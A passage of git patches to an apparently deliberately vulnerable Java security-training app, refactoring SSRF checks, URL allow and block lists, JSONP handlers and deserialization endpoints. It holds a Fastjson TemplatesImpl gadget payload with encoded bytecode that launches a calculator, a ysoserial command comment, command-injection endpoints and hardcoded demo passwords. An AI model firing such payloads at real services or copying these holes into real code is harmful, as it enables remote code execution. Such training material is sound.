* @return 如果是内网IP,返回true;非内网IP,返回false。
*/
- static Boolean isInnerIPByUrl(String url) {
+ static boolean isInnerIPByUrl(String url) {
String host = url2host(url);
if (host.equals("")) {
return true; // 异常URL当成内网IP等非法URL处理
@@ -92,9 +125,9 @@ static Boolean isInnerIPByUrl(String url) {
*/
private static boolean isInnerIp(String strIP){
- String blackSubnetlist[] = {"10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16", "127.0.0.0/8", "0.0.0.0/32"};
+ ArrayList blackSubnets= WebConfig.getSsrfBlockIps();
- for (String subnet: blackSubnetlist) {
+ for (String subnet: blackSubnets) {
SubnetUtils utils = new SubnetUtils(subnet);
if (utils.getInfo().isInRange(strIP)) {
logger.error("[-] SSRF check failed. Inner Ip: " + strIP);
diff --git a/src/main/java/org/joychou/security/SecurityUtil.java b/src/main/java/org/joychou/security/SecurityUtil.java
index aca374da..0c6cb757 100644
--- a/src/main/java/org/joychou/security/SecurityUtil.java
+++ b/src/main/java/org/joychou/security/SecurityUtil.java
@@ -13,11 +13,12 @@
public class SecurityUtil {
- private static final Pattern FILTER_PATTERN = Pattern.compile("^[a-zA-Z0-9_/\\.-]+$") ;
+ private static final Pattern FILTER_PATTERN = Pattern.compile("^[a-zA-Z0-9_/\\.-]+$");
private static Logger logger = LoggerFactory.getLogger(SecurityUtil.class);
/**
- * 同时支持一级域名和多级域名,相关配置在resources目录下url/safe_domain.xml文件
+ * 同时支持一级域名和多级域名,相关配置在resources目录下url/safe_domain.xml文件。
+ * 优先判断黑名单,如果满足黑名单return null。
*
* @param url the url need to check
* @return Safe url returns original url; Illegal url returns null;
@@ -29,6 +30,8 @@ public static String checkURL(String url) {
}
ArrayList safeDomains = WebConfig.getSafeDomains();
+ ArrayList blockDomains = WebConfig.getBlockDomains();
+
try {
URI uri = new URI(url);
String host = uri.getHost().toLowerCase();
@@ -38,6 +41,16 @@ public static String checkURL(String url) {
return null;
}
+ // 如果满足黑名单返回null
+ if (blockDomains.contains(host)){
+ return null;
+ }
+ for(String blockDomain: blockDomains) {
+ if(host.endsWith("." + blockDomain)) {
+ return null;
+ }
+ }
+
// 支持多级域名
if (safeDomains.contains(host)){
return url;
@@ -56,39 +69,55 @@ public static String checkURL(String url) {
}
}
+
+ /**
+ * 通过自定义白名单域名处理SSRF漏洞。如果URL范围收敛,强烈建议使用该方案。
+ * 这是最简单也最有效的修复方式。因为SSRF都是发起URL请求时造成,大多数场景是图片场景,一般图片的域名都是CDN或者OSS等,所以限定域名白名单即可完成SSRF漏洞修复。
+ *
+ * @author JoyChou @ 2020-03-30
+ * @param url 需要校验的url
+ * @return Safe url returns true. Dangerous url returns false.
+ */
+ public static boolean checkSSRFByWhitehosts(String url) {
+ return SSRFChecker.checkURLFckSSRF(url);
+ }
+
+
/**
- * 解析url的ip,判断ip是否是内网ip,所以TTL设置为0的情况不适用。
+ * 解析URL的IP,判断IP是否是内网IP。如果有重定向跳转,循环解析重定向跳转的IP。不建议使用该方案。
+ *
+ * 存在的问题:
+ * 1、会主动发起请求,可能会有性能问题
+ * 2、设置重定向跳转为第一次302不跳转,第二次302跳转到内网IP 即可绕过该防御方案
+ * 3、TTL设置为0会被绕过
*
* @param url check的url
* @return 安全返回true,危险返回false
*/
- public static Boolean checkSSRF(String url) {
+ @Deprecated
+ public static boolean checkSSRF(String url) {
int checkTimes = 10;
return SSRFChecker.checkSSRF(url, checkTimes);
}
/**
- * Suitable for: TTL isn't set to 0 & Redirect is forbidden.
+ * 不能使用白名单的情况下建议使用该方案。前提是禁用重定向并且TTL默认不为0。
+ *
+ * 存在问题:
+ * 1、TTL为0会被绕过
+ * 2、使用重定向可绕过
*
* @param url The url that needs to check.
* @return Safe url returns true. Dangerous url returns false.
*/
public static boolean checkSSRFWithoutRedirect(String url) {
+ if(url == null) {
+ return false;
+ }
return !SSRFChecker.isInnerIPByUrl(url);
}
- /**
- * Check SSRF by host white list.
- * This is the simplest and most effective method to fix ssrf vul.
- *
- * @param url The url that needs to check.
- * @param hostWlist host whitelist
- * @return Safe url returns url. Dangerous url returns null.
- */
- public static String checkSSRFByHost(String url) {
- return checkURL(url);
- }
/**
* Filter file path to prevent path traversal vulns.
diff --git a/src/main/java/org/joychou/security/WebSecurityConfig.java b/src/main/java/org/joychou/security/WebSecurityConfig.java
index a9787aac..dab5368a 100644
--- a/src/main/java/org/joychou/security/WebSecurityConfig.java
+++ b/src/main/java/org/joychou/security/WebSecurityConfig.java
@@ -1,5 +1,6 @@
package org.joychou.security;
+import org.joychou.interceptor.JsonpInterceptor;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.context.annotation.Bean;
@@ -13,6 +14,7 @@
import org.springframework.web.cors.CorsConfiguration;
import org.springframework.web.cors.CorsConfigurationSource;
import org.springframework.web.cors.UrlBasedCorsConfigurationSource;
+import org.springframework.web.servlet.config.annotation.InterceptorRegistry;
import javax.servlet.http.HttpServletRequest;
import java.util.ArrayList;
@@ -105,7 +107,6 @@ public void configureGlobal(AuthenticationManagerBuilder auth) throws Exception
.withUser("joychou").password("joychou123").roles("USER").and()
.withUser("admin").password("admin123").roles("USER", "ADMIN");
}
-
}
diff --git a/src/main/resources/application.properties b/src/main/resources/application.properties
index c6b2a184..8b72592e 100644
--- a/src/main/resources/application.properties
+++ b/src/main/resources/application.properties
@@ -35,6 +35,5 @@ joychou.security.csrf.method = POST
### jsonp configuration begins ### # auto convert json to jsonp
# referer check
joychou.security.jsonp.referer.check.enabled = true
-joychou.security.jsonp.referer.host = joychou.org, joychou.com
joychou.security.jsonp.callback = callback, _callback
### jsonp configuration ends ###
\ No newline at end of file
diff --git a/src/main/resources/banner.txt b/src/main/resources/banner.txt
new file mode 100644
index 00000000..45e1698c
--- /dev/null
+++ b/src/main/resources/banner.txt
@@ -0,0 +1,6 @@
+ ____. _________ _________ .___
+ | |____ ___ _______ / _____/ ____ ____ \_ ___ \ ____ __| _/____
+ | \__ \\ \/ /\__ \ \_____ \_/ __ \_/ ___\ / \ \/ / _ \ / __ |/ __ \
+/\__| |/ __ \\ / / __ \_ / \ ___/\ \___ \ \___( <_> ) /_/ \ ___/
+\________(____ /\_/ (____ / /_______ /\___ >\___ > \______ /\____/\____ |\___ >
+ \/ \/ \/ \/ \/ \/ \/ \/
\ No newline at end of file
diff --git a/src/main/resources/url/safe_domain.xml b/src/main/resources/url/safe_domain.xml
deleted file mode 100644
index a403a675..00000000
--- a/src/main/resources/url/safe_domain.xml
+++ /dev/null
@@ -1,7 +0,0 @@
-
-
-
-
- joychou.com
- test.joychou.org
-
diff --git a/src/main/resources/url/ssrf_safe_domain.xml b/src/main/resources/url/ssrf_safe_domain.xml
new file mode 100644
index 00000000..eb5e4c44
--- /dev/null
+++ b/src/main/resources/url/ssrf_safe_domain.xml
@@ -0,0 +1,22 @@
+
+
+
+
+
+
+ img.alicdn.com
+
+
+
+ 10.0.0.0/8
+ 172.16.0.0/12
+ 192.168.0.0/16
+ 127.0.0.0/8
+ 0.0.0.0/32
+
+
+
+ joychou-inc.com
+
+
+
diff --git a/src/main/resources/url/url_safe_domain.xml b/src/main/resources/url/url_safe_domain.xml
new file mode 100644
index 00000000..ee81efcf
--- /dev/null
+++ b/src/main/resources/url/url_safe_domain.xml
@@ -0,0 +1,18 @@
+
+
+
+
+
+ joychou.com
+ joychou.org
+ test.joychou.org
+ localhost
+
+
+
+
+ baidu.com
+ evil.joychou.org
+
+
+
From 039d0f12cf9f50e27e0061711f33d3da01ca1113 Mon Sep 17 00:00:00 2001
From: JoyChou
Date: Tue, 31 Mar 2020 18:11:43 +0800
Subject: [PATCH 16/41] bug fix
---
.../joychou/interceptor/JsonpInterceptor.java | 40 -------------------
.../org/joychou/security/SecurityUtil.java | 2 +-
.../joychou/security/WebSecurityConfig.java | 4 +-
3 files changed, 2 insertions(+), 44 deletions(-)
delete mode 100644 src/main/java/org/joychou/interceptor/JsonpInterceptor.java
diff --git a/src/main/java/org/joychou/interceptor/JsonpInterceptor.java b/src/main/java/org/joychou/interceptor/JsonpInterceptor.java
deleted file mode 100644
index 52d67e4c..00000000
--- a/src/main/java/org/joychou/interceptor/JsonpInterceptor.java
+++ /dev/null
@@ -1,40 +0,0 @@
-package org.joychou.interceptor;
-
-import org.apache.commons.lang.StringUtils;
-import org.joychou.config.WebConfig;
-import org.slf4j.Logger;
-import org.slf4j.LoggerFactory;
-import org.springframework.web.servlet.HandlerInterceptor;
-import org.springframework.web.servlet.ModelAndView;
-
-import javax.servlet.http.HttpServletRequest;
-import javax.servlet.http.HttpServletResponse;
-
-/**
- * @author JoyChou @ 2020-03-28
- * 专门为object自动转jsonp功能配置的Referer校验Intercepter
- */
-
-public class JsonpInterceptor implements HandlerInterceptor {
-
- private final Logger logger= LoggerFactory.getLogger(this.getClass());
-
- @Override
- public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler)
- throws Exception {
- return true;
- }
-
- @Override
- public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler,
- ModelAndView modelAndView) throws Exception {
- }
-
- @Override
- public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex)
- throws Exception {
- logger.info(response.getWriter().toString());
- }
-
-}
-
diff --git a/src/main/java/org/joychou/security/SecurityUtil.java b/src/main/java/org/joychou/security/SecurityUtil.java
index 0c6cb757..14cc397f 100644
--- a/src/main/java/org/joychou/security/SecurityUtil.java
+++ b/src/main/java/org/joychou/security/SecurityUtil.java
@@ -17,7 +17,7 @@ public class SecurityUtil {
private static Logger logger = LoggerFactory.getLogger(SecurityUtil.class);
/**
- * 同时支持一级域名和多级域名,相关配置在resources目录下url/safe_domain.xml文件。
+ * 同时支持一级域名和多级域名,相关配置在resources目录下url/url_safe_domain.xml文件。
* 优先判断黑名单,如果满足黑名单return null。
*
* @param url the url need to check
diff --git a/src/main/java/org/joychou/security/WebSecurityConfig.java b/src/main/java/org/joychou/security/WebSecurityConfig.java
index dab5368a..5e8c3697 100644
--- a/src/main/java/org/joychou/security/WebSecurityConfig.java
+++ b/src/main/java/org/joychou/security/WebSecurityConfig.java
@@ -1,6 +1,5 @@
package org.joychou.security;
-import org.joychou.interceptor.JsonpInterceptor;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.context.annotation.Bean;
@@ -14,7 +13,6 @@
import org.springframework.web.cors.CorsConfiguration;
import org.springframework.web.cors.CorsConfigurationSource;
import org.springframework.web.cors.UrlBasedCorsConfigurationSource;
-import org.springframework.web.servlet.config.annotation.InterceptorRegistry;
import javax.servlet.http.HttpServletRequest;
import java.util.ArrayList;
@@ -39,7 +37,7 @@ public class WebSecurityConfig extends WebSecurityConfigurerAdapter {
@Value("${joychou.security.csrf.method}")
private String[] csrfMethod = {"POST"};
- RequestMatcher csrfRequestMatcher = new RequestMatcher() {
+ private RequestMatcher csrfRequestMatcher = new RequestMatcher() {
@Override
public boolean matches(HttpServletRequest request) {
From 33748f31054535fed0c3ae42ca23fde31b5b3404 Mon Sep 17 00:00:00 2001
From: JoyChou
Date: Fri, 3 Apr 2020 10:23:40 +0800
Subject: [PATCH 17/41] bug fix
---
README.md | 3 +-
.../java/org/joychou/config/Constants.java | 8 +++++
.../org/joychou/controller/CRLFInjection.java | 9 +++--
.../org/joychou/controller/CommandInject.java | 4 +--
.../java/org/joychou/controller/Cookies.java | 12 +++----
.../java/org/joychou/controller/Cors.java | 4 +--
.../org/joychou/controller/Deserialize.java | 10 +++---
.../java/org/joychou/controller/Fastjson.java | 2 +-
.../{jsonp/JSONP.java => Jsonp.java} | 35 ++++++-------------
.../org/joychou/controller/URLRedirect.java | 4 +--
.../Object2Jsonp.java} | 7 ++--
.../org/joychou/security/SSRFChecker.java | 3 +-
.../java/org/joychou/util/LoginUtils.java | 21 +++++++++++
13 files changed, 68 insertions(+), 54 deletions(-)
create mode 100644 src/main/java/org/joychou/config/Constants.java
rename src/main/java/org/joychou/controller/{jsonp/JSONP.java => Jsonp.java} (76%)
rename src/main/java/org/joychou/{controller/jsonp/JSONPAdvice.java => security/Object2Jsonp.java} (93%)
create mode 100644 src/main/java/org/joychou/util/LoginUtils.java
diff --git a/README.md b/README.md
index 5799c51b..9ee7a881 100644
--- a/README.md
+++ b/README.md
@@ -33,9 +33,10 @@ Sort by letter.
- [Deserialize](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Deserialize.java)
- [Fastjson](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Fastjson.java)
- [File Upload](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/FileUpload.java)
+- [GetRequestURI](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/GetRequestURI.java)
- [IP Forge](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/IPForge.java)
- [Java RMI](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/RMI/Server.java)
-- [JSONP](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/jsonp/JSONP.java)
+- [JSONP](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Jsonp.java)
- [ooxmlXXE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/othervulns/ooxmlXXE.java)
- [PathTraversal](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/PathTraversal.java)
- [RCE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Rce.java)
diff --git a/src/main/java/org/joychou/config/Constants.java b/src/main/java/org/joychou/config/Constants.java
new file mode 100644
index 00000000..62379458
--- /dev/null
+++ b/src/main/java/org/joychou/config/Constants.java
@@ -0,0 +1,8 @@
+package org.joychou.config;
+
+public class Constants {
+
+ private Constants(){}
+
+ public static final String REMEMBER_ME_COOKIE = "rememberMe";
+}
diff --git a/src/main/java/org/joychou/controller/CRLFInjection.java b/src/main/java/org/joychou/controller/CRLFInjection.java
index b0e9af4c..4fb66ba7 100644
--- a/src/main/java/org/joychou/controller/CRLFInjection.java
+++ b/src/main/java/org/joychou/controller/CRLFInjection.java
@@ -9,18 +9,17 @@
import javax.servlet.http.HttpServletResponse;
/**
- * @author JoyChou (joychou@joychou.org)
- * @date 2018.01.03
- * @desc Java 1.7/1.8 no CRLF vuls (test in Java 1.7/1.8)
+ * Java 1.7/1.8 no CRLF vulns (test in Java 1.7/1.8)
+ *
+ * @author JoyChou (joychou@joychou.org) @2018-01-03
*/
-
@Controller
@RequestMapping("/crlf")
public class CRLFInjection {
@RequestMapping("/safecode")
@ResponseBody
- private static void crlf(HttpServletRequest request, HttpServletResponse response) {
+ public void crlf(HttpServletRequest request, HttpServletResponse response) {
response.addHeader("test1", request.getParameter("test1"));
response.setHeader("test2", request.getParameter("test2"));
String author = request.getParameter("test3");
diff --git a/src/main/java/org/joychou/controller/CommandInject.java b/src/main/java/org/joychou/controller/CommandInject.java
index f4901b87..5b63efcf 100644
--- a/src/main/java/org/joychou/controller/CommandInject.java
+++ b/src/main/java/org/joychou/controller/CommandInject.java
@@ -22,7 +22,7 @@ public class CommandInject {
* @return result
*/
@GetMapping("/codeinject")
- public static String codeInject(String filepath) throws IOException {
+ public String codeInject(String filepath) throws IOException {
String[] cmdList = new String[]{"sh", "-c", "ls -la " + filepath};
ProcessBuilder builder = new ProcessBuilder(cmdList);
@@ -50,7 +50,7 @@ public String codeInjectHost(HttpServletRequest request) throws IOException {
}
@GetMapping("/codeinject/sec")
- public static String codeInjectSec(String filepath) throws IOException {
+ public String codeInjectSec(String filepath) throws IOException {
String filterFilePath = SecurityUtil.cmdFilter(filepath);
if (null == filterFilePath) {
return "Bad boy. I got u.";
diff --git a/src/main/java/org/joychou/controller/Cookies.java b/src/main/java/org/joychou/controller/Cookies.java
index 5a32b191..e498dfc6 100644
--- a/src/main/java/org/joychou/controller/Cookies.java
+++ b/src/main/java/org/joychou/controller/Cookies.java
@@ -16,14 +16,14 @@ public class Cookies {
private static String NICK = "nick";
@RequestMapping(value = "/vuln01")
- private String vuln01(HttpServletRequest req) {
+ public String vuln01(HttpServletRequest req) {
String nick = WebUtils.getCookieValueByName(req, NICK); // key code
return "Cookie nick: " + nick;
}
@RequestMapping(value = "/vuln02")
- private String vuln02(HttpServletRequest req) {
+ public String vuln02(HttpServletRequest req) {
String nick = null;
Cookie[] cookie = req.getCookies();
@@ -36,7 +36,7 @@ private String vuln02(HttpServletRequest req) {
@RequestMapping(value = "/vuln03")
- private String vuln03(HttpServletRequest req) {
+ public String vuln03(HttpServletRequest req) {
String nick = null;
Cookie cookies[] = req.getCookies();
if (cookies != null) {
@@ -52,7 +52,7 @@ private String vuln03(HttpServletRequest req) {
@RequestMapping(value = "/vuln04")
- private String vuln04(HttpServletRequest req) {
+ public String vuln04(HttpServletRequest req) {
String nick = null;
Cookie cookies[] = req.getCookies();
if (cookies != null) {
@@ -68,13 +68,13 @@ private String vuln04(HttpServletRequest req) {
@RequestMapping(value = "/vuln05")
- private String vuln05(@CookieValue("nick") String nick) {
+ public String vuln05(@CookieValue("nick") String nick) {
return "Cookie nick: " + nick;
}
@RequestMapping(value = "/vuln06")
- private String vuln06(@CookieValue(value = "nick") String nick) {
+ public String vuln06(@CookieValue(value = "nick") String nick) {
return "Cookie nick: " + nick;
}
diff --git a/src/main/java/org/joychou/controller/Cors.java b/src/main/java/org/joychou/controller/Cors.java
index 3537ecf8..109a4e18 100644
--- a/src/main/java/org/joychou/controller/Cors.java
+++ b/src/main/java/org/joychou/controller/Cors.java
@@ -1,10 +1,10 @@
package org.joychou.controller;
import org.joychou.security.SecurityUtil;
+import org.joychou.util.LoginUtils;
import org.springframework.security.web.csrf.CsrfToken;
import org.springframework.web.bind.annotation.CrossOrigin;
import org.springframework.web.bind.annotation.RequestMapping;
-import org.joychou.controller.jsonp.JSONP;
import org.springframework.web.bind.annotation.RestController;
import javax.servlet.http.HttpServletRequest;
@@ -111,7 +111,7 @@ public String seccode(HttpServletRequest request, HttpServletResponse response)
}
response.setHeader("Access-Control-Allow-Origin", origin);
response.setHeader("Access-Control-Allow-Credentials", "true");
- return JSONP.getUserInfo2JsonStr(request);
+ return LoginUtils.getUserInfo2JsonStr(request);
}
diff --git a/src/main/java/org/joychou/controller/Deserialize.java b/src/main/java/org/joychou/controller/Deserialize.java
index 57e0a6b7..e3e0bca6 100644
--- a/src/main/java/org/joychou/controller/Deserialize.java
+++ b/src/main/java/org/joychou/controller/Deserialize.java
@@ -1,5 +1,6 @@
package org.joychou.controller;
+import org.joychou.config.Constants;
import org.joychou.security.AntObjectInputStream;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
@@ -25,20 +26,19 @@
@RequestMapping("/deserialize")
public class Deserialize {
- private static String cookieName = "rememberMe";
protected final Logger logger = LoggerFactory.getLogger(this.getClass());
/**
* java -jar ysoserial.jar CommonsCollections5 "open -a Calculator" | base64
* Add the result to rememberMe cookie.
*
- * http://localhost:8080/deserialize/rememberMe/vul
+ * http://localhost:8080/deserialize/rememberMe/vuln
*/
- @RequestMapping("/rememberMe/vul")
+ @RequestMapping("/rememberMe/vuln")
public String rememberMeVul(HttpServletRequest request)
throws IOException, ClassNotFoundException {
- Cookie cookie = getCookie(request, cookieName);
+ Cookie cookie = getCookie(request, Constants.REMEMBER_ME_COOKIE);
if (null == cookie){
return "No rememberMe cookie. Right?";
@@ -64,7 +64,7 @@ public String rememberMeVul(HttpServletRequest request)
public String rememberMeBlackClassCheck(HttpServletRequest request)
throws IOException, ClassNotFoundException {
- Cookie cookie = getCookie(request, cookieName);
+ Cookie cookie = getCookie(request, Constants.REMEMBER_ME_COOKIE);
if (null == cookie){
return "No rememberMe cookie. Right?";
diff --git a/src/main/java/org/joychou/controller/Fastjson.java b/src/main/java/org/joychou/controller/Fastjson.java
index 684ee253..80d06fc9 100644
--- a/src/main/java/org/joychou/controller/Fastjson.java
+++ b/src/main/java/org/joychou/controller/Fastjson.java
@@ -3,6 +3,7 @@
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.Feature;
+import com.alibaba.fastjson.parser.ParserConfig;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
@@ -31,7 +32,6 @@ public static String Deserialize(@RequestBody String params) {
}
public static void main(String[] args) {
-
// Open calc in mac
String payload = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\", \"_bytecodes\": [\"yv66vgAAADEAOAoAAwAiBwA2BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQAzTG1lL2xpZ2h0bGVzcy9mYXN0anNvbi9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQ7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHACcBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAhFeHAuamF2YQwACgALBwAoAQAxbWUvbGlnaHRsZXNzL2Zhc3Rqc29uL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAHW1lL2xpZ2h0bGVzcy9mYXN0anNvbi9HYWRnZXRzAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAKgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMACwALQoAKwAuAQASb3BlbiAtYSBDYWxjdWxhdG9yCAAwAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAMgAzCgArADQBAA9saWdodGxlc3MvcHduZXIBABFMbGlnaHRsZXNzL3B3bmVyOwAhAAIAAwABAAQAAQAaAAUABgABAAcAAAACAAgABAABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAADwADgAAAAwAAQAAAAUADwA3AAAAAQATABQAAgAMAAAAPwAAAAMAAAABsQAAAAIADQAAAAYAAQAAAD8ADgAAACAAAwAAAAEADwA3AAAAAAABABUAFgABAAAAAQAXABgAAgAZAAAABAABABoAAQATABsAAgAMAAAASQAAAAQAAAABsQAAAAIADQAAAAYAAQAAAEIADgAAACoABAAAAAEADwA3AAAAAAABABUAFgABAAAAAQAcAB0AAgAAAAEAHgAfAAMAGQAAAAQAAQAaAAgAKQALAAEADAAAABsAAwACAAAAD6cAAwFMuAAvEjG2ADVXsQAAAAAAAgAgAAAAAgAhABEAAAAKAAEAAgAjABAACQ==\"], \"_name\": \"lightless\", \"_tfactory\": { }, \"_outputProperties\":{ }}";
JSONObject object = JSON.parseObject(payload, Feature.SupportNonPublicField);
diff --git a/src/main/java/org/joychou/controller/jsonp/JSONP.java b/src/main/java/org/joychou/controller/Jsonp.java
similarity index 76%
rename from src/main/java/org/joychou/controller/jsonp/JSONP.java
rename to src/main/java/org/joychou/controller/Jsonp.java
index e2dfc8eb..44394097 100644
--- a/src/main/java/org/joychou/controller/jsonp/JSONP.java
+++ b/src/main/java/org/joychou/controller/Jsonp.java
@@ -1,10 +1,10 @@
-package org.joychou.controller.jsonp;
+package org.joychou.controller;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
-import com.netflix.ribbon.proxy.annotation.Http;
import org.joychou.security.SecurityUtil;
+import org.joychou.util.LoginUtils;
import org.springframework.http.MediaType;
import org.springframework.security.web.csrf.CsrfToken;
import org.springframework.web.bind.annotation.*;
@@ -15,8 +15,7 @@
import javax.servlet.http.HttpServletRequest;
import java.security.Principal;
-import java.util.HashMap;
-import java.util.Map;
+
/**
@@ -26,22 +25,10 @@
@RestController
@RequestMapping("/jsonp")
-public class JSONP {
+public class Jsonp {
private String callback = WebConfig.getBusinessCallback();
- // get current login username
- public static String getUserInfo2JsonStr(HttpServletRequest request) {
- Principal principal = request.getUserPrincipal();
-
- String username = principal.getName();
-
- Map m = new HashMap<>();
- m.put("Username", username);
-
- return JSON.toJSONString(m);
- }
-
/**
* Set the response content-type to application/javascript.
*
@@ -50,7 +37,7 @@ public static String getUserInfo2JsonStr(HttpServletRequest request) {
@RequestMapping(value = "/vuln/referer", produces = "application/javascript")
public String referer(HttpServletRequest request) {
String callback = request.getParameter(this.callback);
- return WebUtils.json2Jsonp(callback, getUserInfo2JsonStr(request));
+ return WebUtils.json2Jsonp(callback, LoginUtils.getUserInfo2JsonStr(request));
}
/**
@@ -67,20 +54,20 @@ public String emptyReferer(HttpServletRequest request) {
return "error";
}
String callback = request.getParameter(this.callback);
- return WebUtils.json2Jsonp(callback, getUserInfo2JsonStr(request));
+ return WebUtils.json2Jsonp(callback, LoginUtils.getUserInfo2JsonStr(request));
}
/**
* Adding callback or cback on parameter can automatically return jsonp data.
- * http://localhost:8080/jsonp/vuln/advice?callback=test
- * http://localhost:8080/jsonp/vuln/advice?_callback=test
+ * http://localhost:8080/jsonp/object2jsonp?callback=test
+ * http://localhost:8080/jsonp/object2jsonp?_callback=test
*
* @return Only return object, AbstractJsonpResponseBodyAdvice can be used successfully.
* Such as JSONOjbect or JavaBean. String type cannot be used.
*/
- @RequestMapping(value = "/vuln/advice", produces = MediaType.APPLICATION_JSON_VALUE)
+ @RequestMapping(value = "/object2jsonp", produces = MediaType.APPLICATION_JSON_VALUE)
public JSONObject advice(HttpServletRequest request) {
- return JSON.parseObject(getUserInfo2JsonStr(request));
+ return JSON.parseObject(LoginUtils.getUserInfo2JsonStr(request));
}
@@ -112,7 +99,7 @@ public String safecode(HttpServletRequest request) {
return "error";
}
String callback = request.getParameter(this.callback);
- return WebUtils.json2Jsonp(callback, getUserInfo2JsonStr(request));
+ return WebUtils.json2Jsonp(callback, LoginUtils.getUserInfo2JsonStr(request));
}
diff --git a/src/main/java/org/joychou/controller/URLRedirect.java b/src/main/java/org/joychou/controller/URLRedirect.java
index d2b3b484..d16f0ebb 100644
--- a/src/main/java/org/joychou/controller/URLRedirect.java
+++ b/src/main/java/org/joychou/controller/URLRedirect.java
@@ -83,8 +83,8 @@ public void sendRedirect_seccode(HttpServletRequest request, HttpServletResponse
throws IOException{
String url = request.getParameter("url");
if (SecurityUtil.checkURL(url) == null) {
- // Redirect to error page.
- response.sendRedirect("https://test.joychou.org/error3.html");
+ response.setStatus(HttpServletResponse.SC_FORBIDDEN);
+ response.getWriter().write("url forbidden");
return;
}
response.sendRedirect(url);
diff --git a/src/main/java/org/joychou/controller/jsonp/JSONPAdvice.java b/src/main/java/org/joychou/security/Object2Jsonp.java
similarity index 93%
rename from src/main/java/org/joychou/controller/jsonp/JSONPAdvice.java
rename to src/main/java/org/joychou/security/Object2Jsonp.java
index 944a325b..6432616b 100644
--- a/src/main/java/org/joychou/controller/jsonp/JSONPAdvice.java
+++ b/src/main/java/org/joychou/security/Object2Jsonp.java
@@ -1,8 +1,7 @@
-package org.joychou.controller.jsonp;
+package org.joychou.security;
import org.apache.commons.lang.StringUtils;
import org.joychou.config.WebConfig;
-import org.joychou.security.SecurityUtil;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.beans.factory.annotation.Value;
@@ -25,14 +24,14 @@
* Since Spring Framework 4.1. Springboot 2.1.0 RELEASE use spring framework 5.1.2
*/
@ControllerAdvice
-public class JSONPAdvice extends AbstractJsonpResponseBodyAdvice {
+public class Object2Jsonp extends AbstractJsonpResponseBodyAdvice {
private final String[] callbacks;
private final Logger logger= LoggerFactory.getLogger(this.getClass());
// method of using @Value in constructor
